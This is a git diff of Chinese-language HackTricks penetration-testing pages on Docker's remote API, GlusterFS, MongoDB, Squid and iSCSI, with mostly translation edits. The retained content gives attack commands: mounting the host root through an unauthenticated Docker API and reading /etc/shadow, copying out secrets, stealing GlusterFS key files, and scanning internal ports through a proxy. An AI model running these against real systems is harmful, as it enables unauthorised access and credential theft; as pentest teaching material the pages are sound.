另一个关键区别在于容器的执行。Podman 允许容器以启动用户的权限而不是守护程序的权限运行。这引入了无 root 权限的容器的概念,可以在无需 root 访问权限的情况下启动,通过限制容器泄漏的潜在影响,提供了显著的安全优势。无 root 权限的容器确保受损容器的攻击者仅拥有主机上普通用户的权限,防止权限升级超出启动用户的权限,从而增强安全性。
|
||||
- **无根容器**:Podman 的一个关键特点是其能够在启动用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限而不是 root 访问权限,最小化了与容器入侵相关的风险。
|
||||
|
||||
Podman 的方法为 Docker 提供了一个安全灵活的替代方案,强调用户权限管理和与现有 Docker 工作流的兼容性。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,由于 Podman 旨在支持与 Docker 相同的 API,因此您可以像在 Docker 中一样使用 Podman,例如:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
@ -94,7 +99,9 @@ podman ls
|
|||
|
||||
## 基本信息
|
||||
|
||||
当启用时,默认情况下远程 API 在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API,可以将主机/(根目录)附加到容器,并读取/写入主机环
|
||||
当启用时,远程 API 默认在 2375 端口上运行。默认情况下,该服务不需要身份验证,允许攻击者启动一个特权的 Docker 容器。通过使用远程 API,可以将主机/(根目录)附加到容器,并读取/写入主机环境中的文件。
|
||||
|
||||
**默认端口:** 2375
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
2375/tcp open docker
|
||||
|
@ -103,7 +110,7 @@ PORT STATE SERVICE
|
|||
|
||||
### 手动
|
||||
|
||||
请注意,为了枚举docker API,您可以使用`docker`命令或`curl`,就像下面的示例中所示:
|
||||
请注意,为了枚举Docker API,您可以使用`docker`命令或`curl`,就像下面的示例中所示:
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
|
@ -139,7 +146,7 @@ docker-init:
|
|||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
如果您可以使用`docker`命令**联系远程docker API**,您可以**执行**任何**之前评论过的docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
|
||||
如果您可以使用`docker`命令**联系远程docker API**,则可以**执行**任何[**先前注释的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。
|
||||
|
||||
{% hint style="info" %}
|
||||
您可以`export DOCKER_HOST="tcp://localhost:2375"`,**避免**在docker命令中使用`-H`参数
|
||||
|
@ -151,7 +158,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
|||
```
|
||||
#### Curl
|
||||
|
||||
有时你会看到 **2376** 开放用于 **TLS** 端点。我无法用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。
|
||||
有时你会看到 **2376** 端口用于 **TLS** 终端。我无法用 docker 客户端连接到它,但可以使用 curl 连接。
|
||||
```bash
|
||||
#List containers
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
|
@ -188,7 +195,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
|
|||
msf> use exploit/linux/http/docker_daemon_tcp
|
||||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||
```
|
||||
## 入侵
|
||||
## Compromising
|
||||
|
||||
在以下页面,您可以找到**从 Docker 容器中逃脱**的方法:
|
||||
|
||||
|
@ -196,7 +203,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
|
|||
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到机器:
|
||||
滥用这一点,可以从容器中逃脱,您可以在远程机器上运行一个弱容器,从中逃脱,并威胁到该机器:
|
||||
```bash
|
||||
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
||||
cat /mnt/etc/shadow
|
||||
|
@ -218,7 +225,7 @@ docker inspect <docker_id>
|
|||
- IP地址。
|
||||
- 端口。
|
||||
- 路径。
|
||||
- 其他…。
|
||||
- 其他… 。
|
||||
|
||||
如果要提取文件:
|
||||
```bash
|
||||
|
@ -269,7 +276,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。
|
||||
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下,它检测到启动了2个特权容器,其中一个带有敏感挂载点,几秒钟后检测到一个容器内打开了一个shell。
|
||||
```
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
* Unloading falco-probe, if present
|
||||
|
@ -313,6 +320,6 @@ falco-probe found and loaded in dkms
|
|||
|
||||
您可以使用 auditd 来监控 Docker。
|
||||
|
||||
# 参考
|
||||
## 参考
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -15,7 +15,7 @@
|
|||
|
||||
# 基本信息
|
||||
|
||||
**GlusterFS**是一个**分布式文件系统**,将多台服务器的存储合并为一个**统一系统**。它支持**任意的可扩展性**,这意味着您可以轻松地添加或移除存储服务器,而不会影响整个文件系统。这确保了您的数据具有高**可用性**和**容错性**。使用GlusterFS,您可以访问您的文件,就好像它们是本地存储的一样,而不受基础服务器基础架构的影响。它为跨多台服务器管理大量数据提供了强大而灵活的解决方案。
|
||||
**GlusterFS**是一个**分布式文件系统**,将多台服务器的存储合并为一个**统一系统**。它支持**任意扩展性**,意味着您可以轻松添加或移除存储服务器而不会影响整个文件系统。这确保了您的数据具有高**可用性**和**容错性**。使用GlusterFS,您可以像访问本地存储一样访问文件,而不受基础服务器基础架构的影响。它为跨多台服务器管理大量数据提供了强大而灵活的解决方案。
|
||||
|
||||
**默认端口**:24007/tcp/udp,24008/tcp/udp,49152/tcp(以后)\
|
||||
对于端口49152,需要打开递增1的端口以使用更多的bricks。_以前使用端口24009代替49152。_
|
||||
|
@ -37,10 +37,10 @@ sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
|||
```
|
||||
如果您在**尝试挂载文件系统**时收到错误,可以检查`/var/log/glusterfs/`中的日志。
|
||||
|
||||
提到证书的错误可以通过窃取文件来修复(如果您可以访问系统):
|
||||
**提到证书的错误**可以通过窃取以下文件来修复(如果您可以访问系统):
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
并将它们存储在您的机器的`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请检查日志中类似于“_could not load our cert at /usr/lib/ssl/glusterfs.pem_”的行)。
|
||||
然后将它们存储在您的机器的`/etc/ssl`或`/usr/lib/ssl`目录中(如果使用不同的目录,请检查日志中是否有类似以下行的内容:“_could not load our cert at /usr/lib/ssl/glusterfs.pem_”)。
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 27017,27018 - 渗透测试 MongoDB
|
||||
# 27017,27018 - MongoDB 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -19,20 +19,20 @@
|
|||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客活动的刺激和挑战
|
||||
参与深入探讨黑客活动的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
随时了解最新的赏金计划发布和重要平台更新
|
||||
随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## 基本信息
|
||||
|
||||
**MongoDB** 是一个使用**面向文档的数据库模型**处理各种形式数据的**开源**数据库管理系统。它提供了灵活性和可扩展性,用于管理应用程序中的非结构化或半结构化数据,如大数据分析和内容管理。
|
||||
**默认端口:**27017, 27018
|
||||
**MongoDB** 是一个使用 **面向文档的数据库模型** 处理各种形式数据的 **开源** 数据库管理系统。它提供了灵活性和可扩展性,用于管理应用程序中的非结构化或半结构化数据,如大数据分析和内容管理。
|
||||
**默认端口:** 27017, 27018
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
|
||||
|
@ -53,7 +53,7 @@ print(db)
|
|||
print(client[db["name"]].list_collection_names())
|
||||
#If admin access, you could dump the database also
|
||||
```
|
||||
**一些 MongoDB 命令:**
|
||||
**一些MongoDB命令:**
|
||||
```bash
|
||||
show dbs
|
||||
use <db>
|
||||
|
@ -108,7 +108,7 @@ Mongo Object IDs 是**12字节的十六进制**字符串:
|
|||
3. 2500: 进程 ID
|
||||
4. 314019: 递增计数器
|
||||
|
||||
在上述元素中,机器标识符将在数据库运行在相同的物理/虚拟机器上时保持不变。如果 MongoDB 进程重新启动,进程 ID 将会改变。时间戳将每秒更新一次。通过简单递增计数器和时间戳值来猜测 Object IDs 的唯一挑战在于 Mongo DB 生成 Object IDs 并在系统级别分配 Object IDs。
|
||||
在上述元素中,机器标识符将在数据库运行在相同的物理/虚拟机器上时保持不变。如果 MongoDB 进程重新启动,进程 ID 将会改变。时间戳将每秒更新一次。通过简单递增计数器和时间戳值来猜测 Object IDs 的唯一挑战在于,Mongo DB 生成 Object IDs 并在系统级别分配 Object IDs。
|
||||
|
||||
该工具[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict),给定一个起始 Object ID(您可以创建一个帐户并获取一个起始 ID),它会返回大约 1000 个可能被分配给下一个对象的 Object IDs,因此您只需要对它们进行暴力破解。
|
||||
|
||||
|
@ -123,12 +123,12 @@ Mongo Object IDs 是**12字节的十六进制**字符串:
|
|||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
参与深入探讨黑客行为的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的赏金任务发布和重要平台更新保持信息更新
|
||||
通过最新的赏金计划发布和重要平台更新保持信息更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@
|
|||
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
|
||||
> **Squid**是一个缓存和转发的HTTP网络代理。它有各种用途,包括通过缓存重复请求来加快Web服务器的速度,为共享网络资源的一组人员缓存Web、DNS和其他计算机网络查找,并通过过滤流量来帮助安全性。尽管主要用于HTTP和FTP,Squid还包括有限支持其他几种协议,包括Internet Gopher、SSL、TLS和HTTPS。与Privoxy不同,Squid不支持SOCKS协议,但可以与Privoxy一起使用以提供SOCKS支持。
|
||||
> **Squid**是一个缓存和转发的HTTP网络代理。它有各种用途,包括通过缓存重复请求来加快Web服务器的速度,为共享网络资源的一组人员缓存Web、DNS和其他计算机网络查找,并通过过滤流量来帮助安全性。尽管主要用于HTTP和FTP,Squid还包括对几种其他协议的有限支持,包括Internet Gopher、SSL、TLS和HTTPS。与Privoxy不同,Squid不支持SOCKS协议,但可以与Privoxy一起使用以提供SOCKS支持。
|
||||
|
||||
**默认端口:** 3128
|
||||
```
|
||||
|
@ -33,29 +33,29 @@ PORT STATE SERVICE VERSION
|
|||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap 代理化
|
||||
## Nmap代理化
|
||||
|
||||
您还可以尝试滥用代理来**通过代理扫描内部端口**。\
|
||||
在proxichains.conf文件末尾添加以下行配置proxychains以使用Squid代理:`http 10.10.10.10 3128`
|
||||
您还可以尝试滥用代理来**扫描内部端口并代理nmap**。\
|
||||
将proxychains配置为使用Squid代理,在proxichains.conf文件末尾添加以下行:`http 10.10.10.10 3128`
|
||||
|
||||
然后使用proxychains运行nmap来**从本地扫描主机**:`proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## SPOSE 扫描器
|
||||
## SPOSE扫描器
|
||||
|
||||
另外,可以使用Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))。
|
||||
或者,可以使用Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose))。
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
> 在计算机领域,**iSCSI**是**Internet Small Computer Systems Interface**的缩写,它是一种基于互联网协议(IP)的存储网络标准,用于连接数据存储设施。它通过在TCP/IP网络上传输SCSI命令来提供对存储设备的块级访问。iSCSI用于促进局域网内的数据传输,并管理远距离的存储。它可以用于通过局域网(LANs)、广域网(WANs)或互联网传输数据,并可以实现位置独立的数据存储和检索。
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> 在计算机领域,**iSCSI**是**Internet Small Computer Systems Interface**的缩写,是一种基于Internet协议(IP)的存储网络标准,用于连接数据存储设备。它通过在TCP/IP网络上传输SCSI命令来提供对存储设备的块级访问。iSCSI用于在企业内部进行数据传输,并用于远距离管理存储。它可用于在局域网(LAN)、广域网(WAN)或互联网上传输数据,并可实现独立于位置的数据存储和检索。
|
||||
>
|
||||
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送SCSI命令(CDBs)。它是一个存储区域网络(SAN)协议,允许组织将存储整合到存储阵列中,同时为客户端(如数据库和Web服务器)提供连接到本地SCSI磁盘的假象。它主要与Fibre Channel竞争,但与通常需要专用布线的传统Fibre Channel不同,iSCSI可以使用现有的网络基础设施在长距离上运行。
|
||||
> 该协议允许客户端(称为发起者)向远程服务器上的存储设备(目标)发送SCSI命令(CDBs)。它是一种存储区域网络(SAN)协议,允许组织将存储合并到存储阵列中,同时为客户端(如数据库和Web服务器)提供本地连接的SCSI磁盘的错觉。它主要与光纤通道竞争,但与通常需要专用布线的传统光纤通道不同,iSCSI可以通过现有网络基础设施在长距离上运行。
|
||||
|
||||
**默认端口:** 3260
|
||||
```
|
||||
|
@ -29,49 +31,49 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
此脚本将指示是否需要认证。
|
||||
这个脚本将指示是否需要身份验证。
|
||||
|
||||
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [在 Linux 上挂载 ISCSI](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
### [在Linux上挂载ISCSI](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**注意:** 您可能会发现,当您的目标被发现时,它们被列在不同的IP地址下。如果iSCSI服务通过NAT或虚拟IP暴露,通常会发生这种情况。在这些情况下,`iscsiadmin` 将无法连接。这需要两个调整:一个是对由您的发现活动自动创建的节点目录名称的调整,另一个是对该目录中包含的 `default` 文件的调整。
|
||||
**注意:** 当您的目标被发现时,您可能会发现它们列在不同的IP地址下。如果iSCSI服务通过NAT或虚拟IP公开,则往往会发生这种情况。在这种情况下,`iscsiadmin` 将无法连接。这需要两个调整:一个是根据您的发现活动自动创建的节点目录名称,另一个是该目录中包含的 `default` 文件。
|
||||
|
||||
例如,您正在尝试连接到位于123.123.123.123端口3260的iSCSI目标。实际暴露iSCSI目标的服务器位于192.168.1.2,但通过NAT暴露。isciadm将注册 _内部_ 地址而不是 _公共_ 地址:
|
||||
例如,您正在尝试连接到位于123.123.123.123端口3260的iSCSI目标。公开iSCSI目标的服务器实际上位于192.168.1.2,但通过NAT公开。isciadm将注册_内部_地址而不是_公共_地址:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
```markdown
|
||||
此命令将在文件系统中创建如下目录:
|
||||
```
|
||||
这个命令将在你的文件系统中创建一个类似这样的目录:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
在目录中,有一个默认文件,包含连接到目标所需的所有设置。
|
||||
在目录中,有一个默认文件,其中包含连接到目标所需的所有设置。
|
||||
|
||||
1. 将 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` 重命名为 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. 在 `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 中,将 `node.conn[0].address` 设置更改为指向 123.123.123.123 而不是 192.168.1.2。可以使用如下命令完成:`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
1. 将`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/`重命名为`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. 在`/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`中,将`node.conn[0].address`设置更改为指向123.123.123.123而不是192.168.1.2。可以使用类似`sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`的命令来完成此操作。
|
||||
|
||||
您现在可以按照链接中的说明挂载目标。
|
||||
现在,您可以按照链接中的说明挂载目标。
|
||||
|
||||
### [在 Windows 上挂载 ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
### [在Windows上挂载 ISCSI](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **手动枚举**
|
||||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
首先,您需要**发现** IP 后面的目标名称:
|
||||
```
|
||||
来自[iscsiadm文档](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
|
||||
首先,您需要**发现**IP地址后面的目标名称:
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
请注意,它会显示您可以**访问**这些**目标**的接口的 **IP 和端口**。它甚至可以**显示内部 IP 或与您使用的 IP 不同的 IP**。
|
||||
注意,它会显示您可以访问这些目标的接口的IP和端口。它甚至可以显示内部IP或与您使用的IP不同的IP。
|
||||
|
||||
然后你**捕获每行打印字符串的第二部分**(第一行的 _iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_),并**尝试登录**:
|
||||
然后,您捕获每行打印字符串的第二部分(从第一行的_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_开始),并尝试登录:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
|
@ -83,7 +85,7 @@ iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p
|
|||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
我们可以通过不使用任何 `--login`/`--logout` 参数来**找到更多信息**。
|
||||
我们可以通过仅使用任何`--login`/`--logout`参数来找到更多关于它的信息。
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
